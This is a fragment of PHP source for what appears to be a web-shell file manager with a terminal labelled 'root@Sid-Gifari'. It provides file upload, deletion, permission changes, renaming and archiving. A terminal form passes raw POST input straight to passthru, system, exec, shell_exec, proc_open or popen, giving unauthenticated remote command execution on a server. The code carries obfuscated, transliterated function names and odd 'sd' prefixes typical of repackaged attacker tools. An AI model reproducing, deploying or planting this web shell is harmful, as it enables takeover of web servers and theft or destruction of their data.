            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
